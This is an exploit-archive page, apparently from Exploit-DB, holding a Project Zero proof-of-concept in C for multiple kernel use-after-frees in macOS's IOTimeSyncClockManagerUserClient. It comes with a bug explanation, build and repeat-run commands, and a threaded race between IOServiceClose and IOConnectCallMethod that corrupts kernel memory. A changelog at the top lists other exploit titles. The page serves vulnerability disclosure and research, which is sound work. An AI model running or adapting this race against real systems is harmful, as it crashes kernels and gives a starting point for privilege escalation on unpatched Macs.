d07aa0ed2a
6 changes to exploits/shellcodes Apple XNU Kernel - Memory Corruption due to Integer Overflow in __offsetof Usage in posix_spawn on 32-bit Platforms macOS/iOS - Multiple Kernel Use-After-Frees due to Incorrect IOKit Object Lifetime Management in IOTimeSyncClockManagerUserClient macOS - Kernel Code Execution due to Lack of Bounds Checking in AppleIntelCapriController::GetLinkConfig macOS/iOS - Kernel Double Free due to Incorrect API Usage in Flow Divert Socket Option Handling Joomla! Component JBuildozer 1.4.1 - 'appid' SQL Injection Accesspress Anonymous Post Pro < 3.2.0 - Unauthenticated Arbitrary File Upload
115 lines
No EOL
3.8 KiB
C
115 lines
No EOL
3.8 KiB
C
/*
|
|
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1377
|
|
|
|
IOTimeSyncClockManagerUserClient provides the userspace interface for the IOTimeSyncClockManager IOService.
|
|
|
|
IOTimeSyncClockManagerUserClient overrides the IOUserClient::clientClose method but it treats it like a destructor.
|
|
IOUserClient::clientClose is not a destructor and plays no role in the lifetime management of an IOKit object.
|
|
|
|
It is perfectly possible to call ::clientClose (via io_service_close) in one thread and call an external method in another
|
|
thread at the same time.
|
|
|
|
IOTimeSyncClockManagerUserClient::clientClose drops references on a bunch of OSArrays causing them to be free'd,
|
|
it also destroys the locks which are supposed to protect access to those arrays. This leads directly to multiple UaFs
|
|
if you also call external methods which manipulate those arrays in other threads.
|
|
|
|
For an exploit some care would be required to ensure correct interleaving such that the OSArray was destroyed and then
|
|
used *before* the lock which is supposed to be protecting the array is also destroyed, but it would be quite possible.
|
|
|
|
Tested on MacOS 10.13 (17A365) on MacBookAir5,2
|
|
*/
|
|
|
|
// ianbeer
|
|
// build: clang -o timesync_uaf timesync_uaf.c -framework IOKit -lpthread
|
|
// repro: while true; do ./timesync_uaf; done
|
|
|
|
#if 0
|
|
MacOS multiple kernel UAFs due to incorrect IOKit object lifetime management in IOTimeSyncClockManagerUserClient
|
|
|
|
IOTimeSyncClockManagerUserClient provides the userspace interface for the IOTimeSyncClockManager IOService.
|
|
|
|
IOTimeSyncClockManagerUserClient overrides the IOUserClient::clientClose method but it treats it like a destructor.
|
|
IOUserClient::clientClose is not a destructor and plays no role in the lifetime management of an IOKit object.
|
|
|
|
It is perfectly possible to call ::clientClose (via io_service_close) in one thread and call an external method in another
|
|
thread at the same time.
|
|
|
|
IOTimeSyncClockManagerUserClient::clientClose drops references on a bunch of OSArrays causing them to be free'd,
|
|
it also destroys the locks which are supposed to protect access to those arrays. This leads directly to multiple UaFs
|
|
if you also call external methods which manipulate those arrays in other threads.
|
|
|
|
For an exploit some care would be required to ensure correct interleaving such that the OSArray was destroyed and then
|
|
used *before* the lock which is supposed to be protecting the array is also destroyed, but it would be quite possible.
|
|
|
|
Tested on MacOS 10.13 (17A365) on MacBookAir5,2
|
|
#endif
|
|
|
|
#include <stdio.h>
|
|
#include <stdlib.h>
|
|
#include <string.h>
|
|
#include <pthread.h>
|
|
|
|
#include <mach/mach.h>
|
|
|
|
#include <IOKit/IOKitLib.h>
|
|
|
|
int go = 0;
|
|
|
|
void* thread_func(void* arg) {
|
|
io_object_t conn = (io_object_t)arg;
|
|
go = 1;
|
|
|
|
IOServiceClose(conn);
|
|
return 0;
|
|
}
|
|
|
|
int main(int argc, char** argv){
|
|
kern_return_t err;
|
|
|
|
io_service_t service = IOServiceGetMatchingService(kIOMasterPortDefault, IOServiceMatching("IOTimeSyncClockManager"));
|
|
|
|
if (service == IO_OBJECT_NULL){
|
|
printf("unable to find service\n");
|
|
return 0;
|
|
}
|
|
|
|
io_connect_t conn = MACH_PORT_NULL;
|
|
err = IOServiceOpen(service, mach_task_self(), 0, &conn);
|
|
if (err != KERN_SUCCESS){
|
|
printf("unable to get user client connection\n");
|
|
return 0;
|
|
}
|
|
|
|
pthread_t thread;
|
|
pthread_create(&thread, NULL, thread_func, (void*)conn);
|
|
|
|
while(!go){;}
|
|
|
|
uint64_t inputScalar[16];
|
|
uint64_t inputScalarCnt = 0;
|
|
|
|
char inputStruct[4096];
|
|
size_t inputStructCnt = 0;
|
|
|
|
uint64_t outputScalar[16];
|
|
uint32_t outputScalarCnt = 1;
|
|
|
|
char outputStruct[4096];
|
|
size_t outputStructCnt = 0;
|
|
|
|
err = IOConnectCallMethod(
|
|
conn,
|
|
1,
|
|
inputScalar,
|
|
inputScalarCnt,
|
|
inputStruct,
|
|
inputStructCnt,
|
|
outputScalar,
|
|
&outputScalarCnt,
|
|
outputStruct,
|
|
&outputStructCnt);
|
|
|
|
printf("%x\n", err);
|
|
|
|
return 0;
|
|
} |